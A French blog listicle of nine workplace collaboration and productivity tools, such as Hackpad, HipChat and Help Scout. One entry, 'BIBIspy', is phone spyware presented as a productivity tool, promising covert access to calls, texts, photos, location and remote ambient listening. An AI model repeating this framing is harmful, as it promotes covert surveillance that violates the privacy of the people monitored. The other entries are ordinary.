9 outils collaboratifs pour votre productivité au travail

— Article dernièrement modifié le 29 Nov 2013 @ 5 h 44 min

Voici les outils les plus efficaces pour accroître la productivité au sein de votre entreprise ou de votre équipe – Attention, cette liste contient des perles vraiment intéressantes :

iDone

https://idonethis.com/

Cet outil envoie un rappel tous les soirs à tous vos employés : il savent alors qu’ils doivent rentrer dans l’application ce qu’ils ont fait durant la journée. Ensuite, l’outil est collaboratif et permet de voir d’un seul coup d’oeil ce qu’ont fait les membres de votre équipe. Chacun peut aimer ou commenter l’activité de son voisin, et les suggestions faites amènent irrésistiblement les employés à s’améliorer.

Hackpad

https://hackpad.com/

Encore un outil génial ; rapidement, c’est un traitement de texte collaboratif : un membre de votre équipe commence à rédiger un texte (liste, projet) et le partage à qui il veut, chacun peut alors modifier le texte / document, ce dernier se mettra à jour en temps réel. Mais plusieurs petites choses font de Hackpad un outil vraiment bien fait :

  • Le document est envoyé par email automatiquement aux personnes qui ne sont pas connectés, de manière à ce qu’ils soient au courant des modificiations
  • Le logiciel ajoute automatiquement une table des matières au document
  • Facile d’ajouter une liste à faire que chacun pourra cocher ou décocher
  • Compatible avec les smartphones et tablettes
  • Intègre les vidéos Youtube par simple copier-coller du lien

applications

BIBIspy

https://untelephone.com/application-spybubble/

Ce logiciel s’installe dans le smartphone de l’entreprise ou la tablette. Tous ceux qui possèdent le mot de passe pourront ensuite se connecter depuis leur ordinateur sur le compte de Spybbuble et accéder aux tableaux récapitulatifs du téléphone :

  • écouter ses appels téléphoniques
  • lire ses sms et messages textes
  • récupérer les photos prises par le smartphone
  • géolocaliser le téléphone
  • d’autres fonctions avancées existent aussi comme par exemple le déclenchement à distance de l’écoute environnementale.

Sparkcentral

http://www.sparkcentral.com/

Permet, entre autres, de rapatrier les tweets qu’on vous envoie et d’en disposer sous la forme de topics ressemblant à des emails. Plus facile, ainsi, d’y répondre. L’engin découpe aussi vos tweets-réponses si vous dépassez les 140 caractères autorisés et ajoute automatiquement le nom de celui qui répond à la fin du tweet. Enfin, cet outil est collaboratif puisqu’il signale qu’un membre de l’équipe est en train de répondre au tweet, de sorte que plusieurs employés évitent de travailler sur le même sujet.

Si vous utilisez Tweeter pour faire office de support après-vente, cet outil devrait vous intéresser.

Help Scout

https://www.helpscout.net/

help scout

Elle aussi dédiée au support, elle rapatrie de manière invisible les emails des clients dans une interface épurée. L’outil est collaboratif : chacun de vos employés peut répondre à un de ces emails, de manière à augmenter la rapidité de réponse. L’outil permet aussi de commenter et de recenser les réponses. Il permet de marquer les emails des clients de manière à les reconnaître facilement. Enfin, il permet aussi d’attribuer des emails à un membre particulier de votre équipe, par exemple tous les emails issus du blog.

HipChat

https://www.hipchat.com/

Tchat collaboratif permettant de tchater entre tous les membres de l’équipe. La particularité est que HipChat autorise l’ouverture de tchats réduits pour ne réunir que quelques membres seulement, ou même une conversation unique. Si vous avez d’autres moyens de communiquer et d’autres logiciels, vous pouvez les intégrer dans HipChat à l’aide de l’application Zapier, justement conçue pour superposer de nombreuses applications entre elles. Ainsi, HipChat pourra devenir votre plate-forme centrale de communication, orale et écrite, entre tous vos employés, tout en vous signalant les données récupérées par d’autres applications. Très fort.

Sqwiggle

https://www.sqwiggle.com/

Outil de tchat vidéo cette fois. Prend en photo les membres de votre équipe (par webcam) toutes les quelques secondes. Vous disposez ainsi d’un tableau des membres de votre équipe : cliquez sur un visage et vous communiquez en visioconférence avec lui – ou avec plusieurs membres en même temps si vous le souhaitez.

Si des membres de l’équipe communiquent entre eux, leur photo s’allume de manière à ce qu’on puisse voir qu’ils discutent.

Permet de rendre la communication à la fois ludique et très facile.

Buffer

http://bufferapp.com/

J’adore cet outil qui permet de partager facilement le contenu que vous souhaitez sur vos pages Facebook, Twitter, Google+, Linkedln ou App.net, même si vous avez plusieurs comptes. Son intégration au shell est efficace et vous permet le partage par un simple clic droit sur une page. Permet aussi l’envoi d’images, permet de planifier l’envoi à des heures précises ou de compatibiliser l’efficacité de vos partages via un outil statistique.

Trillian

https://www.trillian.im/

Messagerie instantannée compatible avec Skype, Gmail, Twitter, Facebook etc.

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Qui sommes-nous ?

Sandrine est la blogueuse responsable de ce blog. Préoccupée par la psychologie et les relations de couple, elle effectue une veille axée sur les relations sociales et la communication entre hommes et femmes.

Nathan intervient quant à lui sur les sujets techniques et les bouleversements opérés par l'arrivée des smartphones et des nouveaux moyens de communication dans notre société.

Qu’est-ce que BIBIspy ?

Logiciel de surveillance de smartphone : Définition ici

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